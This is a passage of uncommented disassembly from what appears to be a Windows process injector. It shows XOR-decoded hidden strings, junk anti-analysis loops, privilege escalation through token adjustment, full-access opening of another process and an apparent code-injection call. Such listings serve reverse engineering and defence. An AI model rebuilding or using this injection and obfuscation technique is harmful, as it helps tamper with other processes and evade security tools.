mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
mov dword [rbp + 0x5a18], edx
sub rsi, r12
jne 0x7ff65a718c64
jmp 0x7ff65a718b9c
mov eax, dword [rbp + 0x5a18]
mov dword [0x7ff65a7b0d28], eax
mov ecx, r15d
call fcn.7ff65a70d510
test al, al
mov r12, 0xffffffffffffffff
jne 0x7ff65a7190dd
movdqa xmm0, xmmword [0x7ff65a787510]
movdqu xmmword [rbp + 0x2d6], xmm0
movdqa xmm1, xmmword [0x7ff65a787540]
movdqu xmmword [rbp + 0x2e6], xmm1
movdqa xmm0, xmmword [0x7ff65a787530]
movdqu xmmword [rbp + 0x2f6], xmm0
mov dword [rbp + 0x306], 0xb99c9f
mov byte [rbp + 0x30a], 1
xor r14d, r14d
mov ecx, r14d
nop dword [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x2d6], al
inc rcx
cmp rcx, 0x33
jb 0x7ff65a718eb0
mov byte [rbp + 0x30a], r14b
lea rcx, [rbp + 0x2d6]
call fcn.7ff65a6fe270
lea rsi, [rbp + 0x5a08]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x218], rcx
mov qword [rbp + 0x220], rsi
mov rbx, qword [rsi]
mov rax, rbx
xor rax, rcx
mov qword [rbp + 0x210], rax
mov qword [rsi], r14
mov r8d, r15d
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x7ff65a718f7d
mov dword [rbp + 0x28], 0x104
lea r9, [rbp + 0x28]
lea r8, [rbp + 0x980]
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_QueryFullProcessImageNameW]
mov rcx, rdi
test eax, eax
je 0x7ff65a718f77
call qword [sym.imp.kernel32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
lea rax, [rbp + 0x980]
mov r8, r12
inc r8
cmp word [rax + r8*2], 0
jne 0x7ff65a718f63
lea rdx, [rbp + 0x980]
jmp 0x7ff65a718f96
call qword [sym.imp.kernel32.dll_CloseHandle]
xorps xmm1, xmm1
xorps xmm0, xmm0
lea rdx, [0x7ff65a795668]
xor r8d, r8d
movdqu xmmword [rbp + 0x18], xmm1
movups xmmword [rbp + 8], xmm0
lea rcx, [rbp + 8]
call fcn.7ff65a6fa300
nop
mov qword [rbp + 0x210], rbx
mov qword [rsi], rbx
lea rbx, [rbp + 0x5a08]
mov rsi, qword [rbx]
mov qword [rbx], r14
mov r8d, r15d
xor edx, edx
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.kernel32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x7ff65a718fe7
xor edx, edx
mov rcx, rax
call qword [sym.imp.kernel32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbx], rsi
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
lea rax, [rbp + 0x5a08]
mov rdi, qword [rax]
xor esi, esi
mov qword [rax], rsi
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x560], xmm0
movups xmmword [rbp + 0x570], xmm0
movups xmmword [rbp + 0x580], xmm0
movups xmmword [rbp + 0x590], xmm0
movups xmmword [rbp + 0x5a0], xmm0
movups xmmword [rbp + 0x5b0], xmm0
mov qword [rbp + 0x5c0], rax
movups xmmword [rbp + 0x330], xmm0
mov qword [rbp + 0x340], rax
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 7
cmova rdx, qword [rbp + 8]
lea rax, [rbp + 0x330]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x560]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateProcessW]
test eax, eax
je 0x7ff65a7190b0
mov rcx, qword [rbp + 0x338]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov qword [rbx], rdi
mov r8, qword [rbp + 0x20]
cmp r8, 7
jbe 0x7ff65a7190ca
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 8]
call fcn.7ff65a70f360
movdqa xmm0, xmmword [0x7ff65a79f9f0]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], si
jmp 0x7ff65a7190e3
xor esi, esi
lea r14d, [rsi + 1]
mov ecx, 0xfa0
call qword [sym.imp.kernel32.dll_Sleep]
mov dword [rbp - 0x52], 0xf6e6f4ce
mov dword [rbp - 0x4e], 0xeeebe9f2
mov dword [rbp - 0x4a], 0xe9f3efa7
mov word [rbp - 0x46], 0x100
mov rcx, rsi
nop dword [rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x52], al
inc rcx
cmp rcx, 0xc
jb 0x7ff65a719110
mov byte [rbp - 0x45], 0
mov rdx, qword [0x7ff65a7b0cf0]
lea rcx, [rbp - 0x52]
call fcn.7ff65a70d440
mov r15d, eax
call sub.msvcp140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov dword [rbp + 0x4634], 0xffffffff
mov dword [rbp + 0x32b4], eax
mov rdx, r14
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rbp + rdx*4 + 0x32b4], eax
inc rdx
cmp rdx, 0x270
jb 0x7ff65a719150
mov dword [rbp + 0x32b0], 0x270
mov dword [rbp + 0x5a18], esi
lea rcx, [rbp + 0xb8]
call fcn.7ff65a714640
mov r14, qword [rbp + 0xb8]
add r14, 0x5f5e100
movabs r12, 0xb2f4fc0794908cf3
call sub.msvcp140.dll__Query_perf_frequency
mov rbx, rax
call sub.msvcp140.dll__Query_perf_counter
mov rcx, rax
cmp rbx, 0x989680
jne 0x7ff65a7191c5
imul rax, rcx, 0x64
jmp 0x7ff65a719234
cmp rbx, 0x16e3600
jne 0x7ff65a719219
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul r8, rdx, 0x3b9aca00
imul rax, rdx, 0x16e3600
sub rcx, rax
imul rcx, rcx, 0x3b9aca00
mov rax, r12
imul rcx
add rdx, rcx
sar rdx, 0x18
mov rax, rdx
shr rax, 0x3f
add rax, rdx
add rax, r8
jmp 0x7ff65a719234
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
cmp rax, r14
jge 0x7ff65a71943e
lea rax, [rbp + 0x32b0]
mov qword [rbp + 0xe8], rax
lea rax, [rbp + 0x32b0]
mov qword [rbp + 0xe0], rax
mov esi, 0x186a0
mov r12d, 1
lea rcx, [rbp + 0xe8]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x63
ja 0x7ff65a71929a
nop
lea rcx, [rbp + 0xe8]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a719280
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0xe0]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x7ff65a7192fa
cmp ecx, 0x64
jae 0x7ff65a7192fa
nop
lea rcx, [rbp + 0xe0]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a7192e0
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
add edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0x32b0]
mov qword [rbp + 0xd8], rax
lea rcx, [rbp + 0xd8]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x7ff65a71936e
cmp ecx, 0x64
jae 0x7ff65a71936e
lea rcx, [rbp + 0xd8]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a719354
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
imul edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0x32b0]
mov qword [rbp + 0xd0], rax
lea rcx, [rbp + 0xd0]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x7ff65a7193ea
cmp edx, 0x64
jae 0x7ff65a7193ea
nop dword [rax]
lea rcx, [rbp + 0xd0]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x7ff65a7193d0
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 0x5a18]
sub eax, ecx
mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
mov dword [rbp + 0x5a18], edx
sub rsi, r12
jne 0x7ff65a719264
jmp 0x7ff65a71919c
mov eax, dword [rbp + 0x5a18]
mov dword [0x7ff65a7b0d28], eax
mov ecx, r15d
call fcn.7ff65a70d510
test al, al
mov r12, 0xffffffffffffffff
jne 0x7ff65a7194c6
movdqa xmm0, xmmword [0x7ff65a787680]
movdqu xmmword [rbp + 0x258], xmm0
movdqa xmm1, xmmword [0x7ff65a7874b0]
movdqu xmmword [rbp + 0x268], xmm1
mov word [rbp + 0x278], 0x100
xor esi, esi
mov edx, esi
nop word [rax + rax]
lea eax, [rdx - 0x7f]
xor byte [rbp + rdx + 0x258], al
inc rdx
cmp rdx, 0x20
jb 0x7ff65a719490
mov byte [rbp + 0x279], sil
lea rcx, [rbp + 0x258]
call fcn.7ff65a6fe270
mov ecx, 0xfa0
call qword [sym.imp.kernel32.dll_Sleep]
jmp 0x7ff65a719c89
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b0], xmm0
xor esi, esi
mov qword [rbp + 0x30], rsi
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rbp + 0x30]
lea edx, [rsi + 0x28]
call qword [sym.imp.advapi32.dll_OpenProcessToken]
lea r12d, [rsi + 1]
test eax, eax
je 0x7ff65a719549
mov dword [rbp + 0x1b0], r12d
mov dword [rbp + 0x1bc], 2
lea r8, [rbp + 0x1b4]
lea rdx, [0x7ff65a785d20]
xor ecx, ecx
call qword [sym.imp.advapi32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x7ff65a71953f
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x1b0]
xor edx, edx
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.advapi32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp + 0x30]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov r8d, r15d
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.kernel32.dll_OpenProcess]
mov r15, rax
test rax, rax
jne 0x7ff65a7195cf
call qword [sym.imp.kernel32.dll_GetLastError]
movdqa xmm0, xmmword [0x7ff65a7875d0]
movdqu xmmword [rbp + 0x30b], xmm0
movdqa xmm1, xmmword [0x7ff65a7873d0]
movdqu xmmword [rbp + 0x31b], xmm1
mov byte [rbp + 0x32b], 1
mov rdx, rsi
lea ecx, [rdx - 0x7f]
xor byte [rbp + rdx + 0x30b], cl
inc rdx
cmp rdx, 0x1f
jb 0x7ff65a719591
mov byte [rbp + 0x32b], sil
mov edx, eax
lea rcx, [rbp + 0x30b]
call fcn.7ff65a6fe270
mov ecx, 0xfa0
call qword [sym.imp.kernel32.dll_Sleep]
mov r12d, 0xfffffffe
jmp 0x7ff65a719c89
lea rdi, [rbp + 0x5a08]
mov rbx, qword [rdi]
mov qword [rdi], rsi
mov dword [rbp - 0x18], esi
lea rdx, [rbp - 0x18]
mov rcx, r15
call qword [sym.imp.kernel32.dll_IsWow64Process]
test eax, eax
jne 0x7ff65a71966b
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
movdqa xmm0, xmmword [0x7ff65a787600]
movdqu xmmword [rbp + 0x3e8], xmm0
movdqa xmm1, xmmword [0x7ff65a787520]
movdqu xmmword [rbp + 0x3f8], xmm1
movdqa xmm0, xmmword [0x7ff65a7874e0]
movdqu xmmword [rbp + 0x408], xmm0
mov word [rbp + 0x418], 0x100
mov rcx, rsi
nop dword [rax]
nop dword [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x3e8], al
inc rcx
cmp rcx, 0x30
jb 0x7ff65a719640
mov byte [rbp + 0x419], sil
lea rcx, [rbp + 0x3e8]
call fcn.7ff65a6fe270
mov qword [rdi], rbx
jmp 0x7ff65a71969a
mov dword [rbp + 0x5a28], esi
call qword [sym.imp.kernel32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rbp + 0x5a28]
call qword [sym.imp.kernel32.dll_IsWow64Process]
mov eax, dword [rbp + 0x5a28]
cmp dword [rbp - 0x18], eax
sete al
mov qword [rdi], rbx
test al, al
jne 0x7ff65a719715
movdqa xmm0, xmmword [0x7ff65a7875c0]
movdqu xmmword [rbp + 0x188], xmm0
movdqa xmm1, xmmword [0x7ff65a787590]
movdqu xmmword [rbp + 0x198], xmm1
mov dword [rbp + 0x1a8], 0xae8dc7d3
mov word [rbp + 0x1ac], 0x100
mov rcx, rsi
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x188], al
inc rcx
cmp rcx, 0x24
jb 0x7ff65a7196d0
mov byte [rbp + 0x1ad], sil
lea rcx, [rbp + 0x188]
call fcn.7ff65a6fe270
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0xfa0
call qword [sym.imp.kernel32.dll_Sleep]
mov r12d, 0xfffffffd
jmp 0x7ff65a719c89
call sub.msvcp140.dll_unsigned_int___cdecl_std::_Random_device_void_
mov edx, eax
lea rcx, [rbp + 0x4640]
call fcn.7ff65a707040
mov dword [rbp + 0x5a18], esi
lea rcx, [rbp + 0xc0]
call fcn.7ff65a714640
mov r14, qword [rbp + 0xc0]
add r14, 0x5f5e100
nop dword [rax + rax]
lea rcx, [rbp + 0x558]
call fcn.7ff65a714640
cmp qword [rax], r14
jge 0x7ff65a71996f
lea rax, [rbp + 0x4640]
mov qword [rbp + 0xc8], rax
lea rax, [rbp + 0x4640]
mov qword [rbp + 0xf8], rax
mov esi, 0x186a0
nop word [rax + rax]
lea rcx, [rbp + 0xc8]
call fcn.7ff65a70f780
mov eax, eax
imul rax, rax, 0xc9
cmp eax, 0x63
ja 0x7ff65a7197ca
nop word [rax + rax]
lea rcx, [rbp + 0xc8]
call fcn.7ff65a70f780
mov eax, eax
imul rax, rax, 0xc9
cmp eax, 0x64
jb 0x7ff65a7197b0
shr rax, 0x20
lea ecx, [rax + 0x7fffff9c]
lea eax, [rcx + r13]
lea ebx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae ebx, eax
test ebx, ebx
cmove ebx, r12d
lea rcx, [rbp + 0xf8]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov edi, ebx
cmp ecx, 0xc9
jae 0x7ff65a71982a
cmp ecx, 0x64
jae 0x7ff65a71982a
nop
lea rcx, [rbp + 0xf8]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a719810
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
add edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0x4640]
mov qword [rbp + 0xa0], rax
lea rcx, [rbp + 0xa0]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
mov ebx, edi
cmp ecx, 0xc9
jae 0x7ff65a71989e
cmp ecx, 0x64
jae 0x7ff65a71989e
lea rcx, [rbp + 0xa0]
call fcn.7ff65a70f780
mov eax, eax
imul rcx, rax, 0xc9
cmp ecx, 0x64
jb 0x7ff65a719884
shr rcx, 0x20
add ecx, 0x7fffff9c
lea eax, [rcx + r13]
lea edx, [rcx - 0x80000000]
cmp ecx, r13d
cmovae edx, eax
mov eax, dword [rbp + 0x5a18]
imul edx, eax
mov dword [rbp + 0x5a18], edx
lea rax, [rbp + 0x4640]
mov qword [rbp + 0xa8], rax
lea rcx, [rbp + 0xa8]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
mov edi, ebx
cmp edx, 0xc9
jae 0x7ff65a71991a
cmp edx, 0x64
jae 0x7ff65a71991a
nop dword [rax]
lea rcx, [rbp + 0xa8]
call fcn.7ff65a70f780
mov eax, eax
imul rdx, rax, 0xc9
cmp edx, 0x64
jb 0x7ff65a719900
shr rdx, 0x20
add edx, 0x7fffff9c
lea eax, [rdx + r13]
lea ecx, [rdx - 0x80000000]
cmp edx, r13d
cmovae ecx, eax
mov eax, dword [rbp + 0x5a18]
sub eax, ecx
mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
mov dword [rbp + 0x5a18], eax
mov eax, dword [rbp + 0x5a18]
cdq
idiv edi
mov dword [rbp + 0x5a18], edx
sub rsi, 1
jne 0x7ff65a719790
jmp 0x7ff65a719750
mov eax, dword [rbp + 0x5a18]
mov dword [0x7ff65a7b0d28], eax
mov dword [rsp + 0x60], 0xbcb6b7b0
mov dword [rsp + 0x64], 0x100b4bc
xor esi, esi
mov ecx, esi
nop
lea eax, [rcx - 0x7f]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 6
jb 0x7ff65a719990
mov byte [rsp + 0x67], sil
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x650]
call fcn.7ff65a6f2e70
mov r8, rax
lea rdx, [rbp + 0x1c0]
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a723de0
nop
movdqa xmm0, xmmword [0x7ff65a787480]
movdqu xmmword [rbp + 0x5e], xmm0
mov word [rbp + 0x6e], 0x100
mov rcx, rsi
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx + 0x5e], al
inc rcx
cmp rcx, 0x10
jb 0x7ff65a7199f0
mov byte [rbp + 0x6f], 0
lea rcx, [rbp + 0x5e]
call fcn.7ff65a6fe270
mov r8, qword [rbp + 0x1c8]
mov rdx, qword [rbp + 0x1c0]
sub r8, rdx
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x38], r12d
mov byte [rsp + 0x30], 1
mov byte [rsp + 0x28], 1
mov byte [rsp + 0x20], 1
mov r9b, 1
mov rcx, r15
call fcn.7ff65a6fc8e0
test al, al
jne 0x7ff65a719c2c
movdqa xmm0, xmmword [0x7ff65a7873e0]
movdqu xmmword [rbp - 0x7c], xmm0
mov byte [rbp - 0x6c], 1
mov rcx, rsi
nop
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x7c], al
inc rcx
cmp rcx, 0xf
jb 0x7ff65a719a60
mov byte [rbp - 0x6c], 0
lea rdx, [rbp - 0x7c]
lea rcx, [rbp + 0x630]
call fcn.7ff65a6f2e70
mov rdx, rax
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a729080
lea rax, [rbp + 0x368]
mov qword [rbp + 0x5a18], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], rsi
mov qword [rbp + 0x380], rsi
mov r8d, 0x10
lea rdx, [0x7ff65a785c90]
lea rcx, [rbp + 0x368]
call fcn.7ff65a6f3710
nop
lea rax, [rbp + 0x610]
mov qword [rbp + 0xc0], rax
lea r8, [0x7ff65a7b0ee0]
lea rdx, [0x7ff65a785ce8]
lea rcx, [rbp + 0x5f0]
call fcn.7ff65a6fe9a0
nop
lea r8, [0x7ff65a785d40]
mov rdx, rax
lea rcx, [rbp + 0x610]
call fcn.7ff65a6fe930
mov rbx, rax
lea rax, [rbp + 0x388]
mov qword [rbp + 0xb8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x388], xmm0
mov qword [rbp + 0x398], rsi
mov qword [rbp + 0x3a0], rsi
xor r8d, r8d
lea rdx, [0x7ff65a7852a5]
lea rcx, [rbp + 0x388]
call fcn.7ff65a6f3710
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a8], xmm0
mov qword [rbp + 0x3b8], rsi
mov qword [rbp + 0x3c0], rsi
mov r8d, 8
lea rdx, [0x7ff65a785cf8]
lea rcx, [rbp + 0x3a8]
call fcn.7ff65a6f3710
nop
lea rax, [rbp + 0x368]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0x388]
lea r8, [rbp + 0x3a8]
lea rdx, [rbp + 0x5d0]
lea rcx, [0x7ff65a7b0da0]
call fcn.7ff65a72ecd0
nop
lea rcx, [rbp + 0x5f0]
call fcn.7ff65a6f2e10
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
movdqa xmm0, xmmword [0x7ff65a787660]
movdqu xmmword [rbp - 0x14], xmm0
mov dword [rbp - 4], 0xfbffb2f4
mov dword [rbp], 0x92b9f2f4
mov word [rbp + 4], 0x100
mov rcx, rsi
lea eax, [rcx - 0x7f]
xor byte [rbp + rcx - 0x14], al
inc rcx
cmp rcx, 0x18
jb 0x7ff65a719bf0
mov byte [rbp + 5], 0
lea rcx, [rbp - 0x14]
call fcn.7ff65a6fe270
mov ecx, 0xfa0
call qword [sym.imp.kernel32.dll_Sleep]
lea rcx, [rbp + 0x5d0]
call fcn.7ff65a6f2e10
mov r12d, 0xfffffff8
jmp 0x7ff65a719c7c
mov rcx, r15
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rax, qword [rbp + 0x1c0]
cmp rax, qword [rbp + 0x1c8]
je 0x7ff65a719c4c
mov qword [rbp + 0x1c8], rax
call fcn.7ff65a719dee
call fcn.7ff65a719d80
call fcn.7ff65a719dd8
call fcn.7ff65a719d96
call fcn.7ff65a719dac
call fcn.7ff65a719d80
call fcn.7ff65a719dc2
call fcn.7ff65a719d96
call fcn.7ff65a719dac
mov r12d, esi
lea rcx, [rbp + 0x1c0]
call fcn.7ff65a708260
nop
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
lea rax, [0x7ff65a7859e8]
mov qword [rbp + rcx + 0x670], rax
mov rax, qword [rbp + 0x670]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x66c], edx
lea rcx, [rbp + 0x678]
call fcn.7ff65a6f7e60
lea rcx, [rbp + 0x680]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x718]
call qword [sym.imp.msvcp140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
je 0x7ff65a719d37
mov rdx, qword [rbp + 0x1e8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff65a719d20
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff65a719d20
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff65a77f448
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], rsi
lea rcx, [rbp + 0x460]
call fcn.7ff65a708440
mov eax, r12d
mov rbx, qword [rsp + 0x5b10]
add rsp, 0x5ad0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret